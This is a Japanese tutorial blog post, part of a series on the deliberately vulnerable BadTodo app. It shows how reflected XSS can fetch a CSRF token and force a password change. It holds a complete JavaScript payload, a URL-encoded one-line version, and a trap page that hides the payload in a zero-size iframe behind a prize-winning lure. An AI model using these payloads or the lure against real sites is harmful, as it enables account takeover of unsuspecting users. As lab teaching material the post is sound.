やられアプリ BadTodo - 10.7 XSSによるCSRF対策の突破

前回:BadTodo - 10.6 CSRF対策トークンの不備 - demandosigno

今回は XSS を使ってCSRF相当の攻撃を行います。(パスワードの変更)

前回確認したように、CSRF対策としてトークンのチェックが行われます。
トークンは実行ページ直前のページで生成され、セッション変数とhiddenパラメータに保存されます。そして変更操作実行時にPOSTパラメータでトークンを飛ばし、先ほどセッション変数に保存したトークンと一致しているかがチェックされます。
トークンは通常は乱数で生成されるため、悪意のある第3者には分からずCSRFが実行できません。

しかしXSSがあると、スクリプトで変更直前のページにアクセスしCSRFトークンを取得することができます。続けてそのトークンを使いリクエストを実行することでトークンによるCSRF対策をかいくぐれます。

通常のCSRF攻撃の場合(csrf_password_change.html)

罠サイトよりリクエストを送信すると、

<html>
<body>
    <form action="https://todo.example.jp/changepwddo.php" method="POST">
        <input type="hidden" name="id" value="3" />
        <input type="hidden" name="newpwd" value="hack" />
        <input type="hidden" name="newpwd2" value="hack" />
        <input type="submit">
    </form>
</body>
<html>

トークンがないためエラーとなります。

XSSを使ってトークンを取得する場合

(注:4.7 XSS 対策方法(エスケープ処理)でXSSの対策を施した場合は元に戻しておいてください)

スクリプトの一例。(今どきはfetchを使った方がよいとは思います)

<script>
  const GET_URL = "https://todo.example.jp/changepwd.php";
  const POST_URL = "https://todo.example.jp/changepwddo.php";
  const PASS = "hack";  // 変更後のパスワード
 
  function submitFormWithTokenJS(todotoken, idValue) {
      let xhr = new XMLHttpRequest();
      xhr.open("POST", POST_URL, true);
      xhr.withCredentials = true;

      // リクエストとともに適切なヘッダー情報を送信する
      xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      xhr.send("id=" + idValue + "&todotoken=" + todotoken + "&newpwd=" + PASS + "&newpwd2=" + PASS);
  }
 
  function getTokenJS() {
    let xhr = new XMLHttpRequest();
    // HTML document として返すよう指示
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // ここの第3引数でtrueを指定すると呼び出しは非同期になる
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
      if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        // レスポンスからドキュメントを取得する
        let page = xhr.response;
        // 確認
        console.log("page = " + page);
        // ページ内の1番目のフォームから「todotoken」を取得する
        // let token = page.forms[0].elements['todotoken'].value;
        let token = page.querySelector("input[name='todotoken']").value;
        console.log("todotoken = " + token);
        // idを取得する(ただこのリクエストは実際のところはid無しでも通ります)
        let idValue = page.querySelector("input[name='id']").value;
        console.log("id = ", idValue);
 
        // idとトークンを使ってフォームを送信する
        submitFormWithTokenJS(token, idValue);
      }
    };
    // リクエストする
    xhr.send(null);
  }
  getTokenJS();
</script>

参考:CSRF (Cross Site Request Forgery) - HackTricks

ここから

  • コメントやlog出力、不要なスペース・改行を削除する
  • "を入れるとHTMLタグ属性値の閉じとされてしまうので'の方を使う
  • 入れ子などで"を使わざるをえない場合は &#x22を使う
  • 今回はURLのクエリパラメータとして渡すため半角スペース%20に、+%2B
    URL エンコード  |  Google Maps Platform  |  Google for Developers

などしてスクリプトを1行にまとめます。 <script>const%20GET_URL=%27https://todo.example.jp/changepwd.php%27;const%20POST_URL=%27https://todo.example.jp/changepwddo.php%27;const%20PASS=%27hack%27;function%20submitFormWithTokenJS(todotoken,idValue){let%20xhr=new%20XMLHttpRequest();xhr.open(%27POST%27,POST_URL,true);xhr.withCredentials=true;xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27id=%27%2BidValue%2B%27%26todotoken=%27%2Btodotoken%2B%27%26newpwd=%27%2BPASS%2B%27%26newpwd2=%27%2BPASS);}function%20getTokenJS(){let%20xhr=new%20XMLHttpRequest();xhr.responseType=%27document%27;xhr.withCredentials=true;xhr.open(%27GET%27,GET_URL,true);xhr.onload=function(e){if(xhr.readyState===XMLHttpRequest.DONE%26%26xhr.status===200){let%20page=xhr.response;let%20token=page.querySelector(%27input[name=&#x22todotoken&#x22]%27).value;let%20idValue=page.querySelector(%27input[name=&#x22id&#x22]%27).value;submitFormWithTokenJS(token,idValue);}};xhr.send(null);}getTokenJS();</script>

実行

XSSの脆弱性がある適当なページに仕込みます。今回はhttps://todo.example.jp/todolist.php?key="><script>今回のコード</script>で試します。(XSS5.html)

<html>
<body>
  100万円が当たったよ!<br>
  <iframe width="0" height="0" frameborder="0" src="https://todo.example.jp/todolist.php?key=%22><script>const%20GET_URL=%27https://todo.example.jp/changepwd.php%27;const%20POST_URL=%27https://todo.example.jp/changepwddo.php%27;const%20PASS=%27hack%27;function%20submitFormWithTokenJS(todotoken,idValue){let%20xhr=new%20XMLHttpRequest();xhr.open(%27POST%27,POST_URL,true);xhr.withCredentials=true;xhr.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);xhr.send(%27id=%27%2BidValue%2B%27%26todotoken=%27%2Btodotoken%2B%27%26newpwd=%27%2BPASS%2B%27%26newpwd2=%27%2BPASS);}function%20getTokenJS(){let%20xhr=new%20XMLHttpRequest();xhr.responseType=%27document%27;xhr.withCredentials=true;xhr.open(%27GET%27,GET_URL,true);xhr.onload=function(e){if(xhr.readyState===XMLHttpRequest.DONE%26%26xhr.status===200){let%20page=xhr.response;let%20token=page.querySelector(%27input[name=&#x22todotoken&#x22]%27).value;let%20idValue=page.querySelector(%27input[name=&#x22id&#x22]%27).value;submitFormWithTokenJS(token,idValue);}};xhr.send(null);}getTokenJS();</script>"></iframe>
</body>
</html>

Todoリストにリンク(https://100万円.com/https://trap.example.org/XSS5.html)として保存し、被害者がクリックすると「100万円が当たったよ!」ページが表示されます。

この時点で指定のパスワードに変更されています。(キャッシュの都合でサイトにはすぐには反映されない場合があります。BadTodo:Nginxのキャッシュクリア

というわけで、XSSを甘く見てはいけないということでした。

その他の確認

https://trap.example.org/XSS5.htmlに隠されている<iframe>内のページ/todolist.phpを開いて確認するとスクリプトが展開されていることが分かります。

Burpも確認。
まず GET /changepwd.php して取得したデータを使い POST /changepwddo.php される。

youtu.be

余談:直近の安全確保支援士試験(令和5年度秋)の午後「問1」にて、今回の例に似た「XSSによりトークンを取得し、セッションIDをファイルアップロードさせる」という例が出題されました。
問題冊子・配点割合・解答例・採点講評(2023年度、令和5年度) | 試験情報 | IPA 独立行政法人 情報処理推進機構

次回:やられアプリ BadTodo - 11 HTTP ヘッダ・インジェクション - demandosigno

/* -----codeの行番号----- */